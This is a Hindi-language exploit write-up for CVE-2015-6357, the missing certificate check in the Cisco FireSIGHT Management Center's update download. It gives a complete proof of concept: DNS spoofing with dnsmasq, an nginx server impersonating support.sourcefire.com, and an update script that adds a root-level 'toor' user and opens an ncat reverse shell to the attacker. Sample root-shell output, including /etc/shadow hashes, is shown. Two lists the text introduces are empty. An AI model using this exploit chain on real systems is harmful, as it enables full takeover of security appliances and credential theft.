
CVE-2015-6357 Cisco FireSIGHT Management Center प्रमाणपत्र सत्यापन भेद्यता के लिए शोषण
अपने आप में Cisco FireSIGHT प्रबंधन केंद्र प्रमाणपत्र सत्यापन भेद्यता एक मध्यम गंभीरता वाली भेद्यता है जिसका CVSS स्कोर 5.1 है। हालाँकि, यह भेद्यता इस बात का उदाहरण है कि SSL प्रमाणपत्र सत्यापन क्यों इतना महत्वपूर्ण है। इस शोषण में मैं प्रदर्शित करूंगा कि कैसे भेद्यता का उपयोग Cisco FireSIGHT सिस्टम पर विशेषाधिकार प्राप्त दूरस्थ कमांड निष्पादन प्राप्त करने के लिए किया जा सकता है। शोषण SSL सत्यापन भेद्यता को Cisco FireSIGHT सिस्टम पर सॉफ़्टवेयर अद्यतन प्रक्रिया के साथ जोड़ता है ताकि लक्ष्य सिस्टम को एक दुर्भावनापूर्ण अद्यतन डाउनलोड करने और उसे निष्पादित करने के लिए धोखा दिया जा सके, जिससे रूट विशेषाधिकारों के साथ एक रिवर्स शेल प्राप्त हो।

Cisco FireSIGHT प्रबंधन केंद्र उपकरण Cisco FirePOWER घुसपैठ रोकथाम प्रणालियों (IPS) को प्रबंधित करने के लिए उपयोग किया जाता है, जिसे सोर्सफायर IPS के रूप में भी जाना जाता है। FireSIGHT अद्यतन IPS हस्ताक्षर डाउनलोड करने और उन्हें प्रबंधित IPS उपकरणों पर स्थापित करने के लिए जिम्मेदार है।
FireSIGHT प्रबंधन केंद्र एक प्रशासक को IPS नियमों का मैन्युअल रूप से अद्यतन शुरू करने या अद्यतन को दैनिक/साप्ताहिक/मासिक रूप से निर्धारित करने की अनुमति देता है।
जब FireSIGHT प्रबंधन केंद्र कोई अद्यतन करता है तो यह Sourcefire Support से डाउनलोड करने के लिए curl UNIX कमांड का उपयोग करता है। curl कमांड के आह्वान में -k (उर्फ --insecure) विकल्प पारित किया जाता है जो curl को सर्वर द्वारा प्रस्तुत किसी भी SSL प्रमाणपत्र को सत्यापित न करने के लिए कहता है।
यहाँ अद्यतन डाउनलोड करने वाले सर्वर का ps आउटपुट है:
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root 8351 0.0 0.0 37396 2708 ? S 02:02 0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh
FireSIGHT अद्यतन एक makeself द्वारा उत्पन्न शेल स्क्रिप्ट के रूप में आते हैं जिसमें UNIX Bourne शेल कमांड के साथ-साथ अद्यतन में वितरित किए जाने वाले बाइनरी डेटा भी शामिल होते हैं। ये शेल अद्यतन स्क्रिप्ट सीधे FireSIGHT सर्वर पर स्थानीय www उपयोगकर्ता के रूप में निष्पादित की जाती हैं।
एक हमलावर जो FireSIGHT सर्वर के विरुद्ध मैन-इन-द-मिडिल हमला करने में सक्षम है, वह इसे Sourcefire Support वेब साइट के नकली संस्करण से कनेक्ट करने और एक दुर्भावनापूर्ण अद्यतन स्क्रिप्ट डाउनलोड करने के लिए मजबूर कर सकता है जो FireSIGHT सर्वर पर हमलावर की इच्छा का कोई भी कमांड निष्पादित करेगी।
SSL सत्यापन भेद्यता इस घटना को सक्षम बनाती है जिसके परिणामस्वरूप सिस्टम हमलावर के नकली SSL प्रमाणपत्र को खुशी-खुशी अनदेखा करता है और दुर्भावनापूर्ण अद्यतन को डाउनलोड और निष्पादित करता है।
यदि curl कमांड SSL प्रमाणपत्र को सत्यापित करे तो यह दुर्भावनापूर्ण स्क्रिप्ट को डाउनलोड करने में विफल हो जाएगा और FireSIGHT सर्वर को हमलावर से बचाएगा।
यह शोषण SSL प्रमाणपत्र को सत्यापित न करने के खतरे को प्रदर्शित करता है, भेद्यता का उपयोग करके रूट उपयोगकर्ता के रूप में दूरस्थ कमांड निष्पादन प्राप्त करता है।
हमले का परिदृश्य वह है जहां हमलावर ने FireSIGHT सर्वर से https://support.sourcefire.com वेब साइट पर ट्रैफ़िक को मैन-इन-द-मिडिल करने की क्षमता प्राप्त कर ली है। इसे प्रदर्शित करने का सबसे सरल तरीका एक "समझौता" DNS सर्वर स्थापित करना है जो डोमेन support.sourcefire.com के लिए क्वेरी का उत्तर हमलावर द्वारा नियंत्रित वेब सर्वर के IP पते से देता है।
वास्तविक हमले के परिदृश्य में हमलावर उसी उद्देश्य को प्राप्त करने के लिए कई मैन-इन-द-मिडिल तकनीकों का उपयोग कर सकता है। जैसे:
इस शोषण का परीक्षण निम्नलिखित FireSIGHT वर्चुअल उपकरण संस्करणों के विरुद्ध किया गया था:
नीचे दिए गए PoC में FireSIGHT सर्वर को IP पता 192.168.1.99 आवंटित किया गया था।
हमलावर होस्ट Kali Linux 2.0 चला रहा था, हालाँकि नीचे दी गई सेटअप किसी भी Debian Linux आधारित सर्वर पर काम करनी चाहिए। नीचे दिए गए उदाहरण में Kali होस्ट का IP पता 192.168.1.1 है। Kali होस्ट का उपयोग DNS सर्वर के साथ-साथ नकली Sourcefire Support वेब साइट चलाने के लिए किया जाता है।
शोषण के लिए support.sourcefire.com के DNS प्रतिक्रिया को नकली बनाने की क्षमता की आवश्यकता होती है। यह क्षमता प्रदान करने और "समझौता" DNS सर्वर के रूप में कार्य करने के लिए एक dnsmasq सर्वर चलाया जाता है।
dnsmasq स्थापित करें:
root@kali# apt-get install dnsmasq
dnsmasq कॉन्फ़िगर करें:
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF
address लाइन पर IP पते को उस वेब सर्वर के पते से संपादित करें जहाँ से आप अद्यतन प्रदान करेंगे।
dnsmasq शुरू करें:
root@kali# service dnsmasq start
FireSIGHT सर्वर द्वारा अद्यतन का अनुरोध करने पर शोषण प्रदान करने के लिए एक वेब सर्वर की आवश्यकता होती है।
nginx वेब सर्वर स्थापित करें:
root@kali# apt-get install nginx
support.sourcefire.com का प्रतिरूपण करने के लिए एक स्व-हस्ताक्षरित प्रमाणपत्र बनाएं:
root@kali# mkdir /etc/nginx/ssl
root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
-out /etc/nginx/ssl/nginx.crt
Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:
/etc/nginx/sites-available/default की सामग्री को निम्नलिखित से प्रतिस्थापित करके nginx कॉन्फ़िगर करें:
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name support.sourcefire.com;
ssl_certificate /etc/nginx/ssl/nginx.crt;
ssl_certificate_key /etc/nginx/ssl/nginx.key;
location / {
try_files $uri $uri/ =404;
}
# rewrite requests that contain the clients license key
location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
}
location /auto-update {
root /var/www/html/firepwner;
}
}
nginx शुरू करें:
root@kali# service nginx start
FirePWNER शोषण के लिए वेब सर्वर से दो फाइलें प्रदान करने की आवश्यकता होती है। पहली फ़ाइल अद्यतन मेनिफेस्ट है जो एक XML फ़ाइल है जिसमें उपलब्ध अद्यतनों, उनके डाउनलोड स्थान और MD5 हैश की सूची होती है।
पहले आपको कुछ निर्देशिकाएँ बनाने की आवश्यकता होगी:
root@kali# mkdir \
/var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}
फिर शोषण फ़ाइलों को उनमें कॉपी करें:
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
/var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh
इन फ़ाइलों को कॉपी करने के बाद आपको http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml पर ब्राउज़ करने में सक्षम होना चाहिए।
अगला, शोषण प्रदर्शन उद्देश्यों के लिए, FireSIGHT सर्वर को "समझौता" DNS सर्वर का उपयोग करने के लिए कॉन्फ़िगर करने की आवश्यकता है। FireSIGHT वेब पोर्टल में लॉगिन करें और System > Local > Configure > Management Interfaces पर जाएं और प्राथमिक DNS सर्वर को "समझौता" DNS सर्वर (192.168.1.1) के IP पते पर सेट करें और परिवर्तन सहेजें।
शोषण FireSIGHT सर्वर पर डिफ़ॉल्ट रूप से स्थापित ncat कमांड का उपयोग करके Kali होस्ट पर रिवर्स शेल बनाता है। Kali होस्ट पर आपको FireSIGHT सर्वर से रिवर्स शेल कनेक्शन सुनने की आवश्यकता है:
root@kali# ncat -v -l 4444
फिर FireSIGHT वेब पोर्टल पर System > Updates > Rule Updates पर जाएं और Download new rule update from the Support Site चुनें और Import बटन पर क्लिक करें। सर्वर तब हमलावर के सर्वर से sf.xml अद्यतन मेनिफेस्ट डाउनलोड करेगा, देखेगा कि एक अद्यतन उपलब्ध है और www उपयोगकर्ता के रूप में अद्यतन डाउनलोड और निष्पादित करेगा। नीचे दी गई अद्यतन/शोषण स्क्रिप्ट इस तथ्य का लाभ उठाती है कि www उपयोगकर्ता के पास कई sudo कमांड हैं जिन्हें वह चला सकता है, जिसमें useradd भी शामिल है। शोषण एक नया toor उपयोगकर्ता बनाता है जिसमें खाली पासवर्ड होता है और फिर विशेषाधिकारों को बढ़ाने और हमलावर के सर्वर पर वापस रिवर्स शेल कनेक्शन शुरू करने के लिए su का उपयोग करता है।
#!/bin/sh
# एक नया UID 0 "toor" उपयोगकर्ता जोड़ें जिसमें खाली पासवर्ड हो
sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \
-d /root toor
# su से toor में जाएं और रिवर्स शेल शुरू करें
echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444"
exit 0
शोषण स्क्रिप्ट को किसी अन्य वांछित कमांड को चलाने के लिए बदला जा सकता है। यदि स्क्रिप्ट बदली जाती है तो sf.xml में <md5sum> XML टैग मान को शोषण स्क्रिप्ट के नए MD5 हैश के साथ अद्यतन किया जाना चाहिए।
यह Kali होस्ट पर दिखाई देने वाले आउटपुट का एक उदाहरण है जब शोषण सफल होता है और FireSIGHT सर्वर पर एक दूरस्थ शेल खोला जाता है और id और cat /etc/passwd कमांड चलाए जाते हैं:
root@kali# ncat -v -l 4444
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.99.
Ncat: Connection from 192.168.1.99:41637.
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
root:x:11869:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
mysql:*:9797:0:::::
nobody:*:9797:0:::::
sshd:*:9797:0:::::
www:*:9797:0:::::
sfsnort:*:9797:0:::::
sfremediation:*:9797:0:::::
sfrna:*:9797:0:::::
snorty:*:9797:0:::::
admin:$6$GCOeXpyR$Qhq6Eq5aSW8n.15RajwYrHVLud8NaN4aKEkVXC43I5m/X.ux/bgIHAplYifOaxTIxaIThqOBGmZgO5aey5tjE/:11869:0:::::
toor:$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.:16679:0:99999:7:::
इस शोषण में उपयोग की गई फ़ाइलें github से प्राप्त की जा सकती हैं।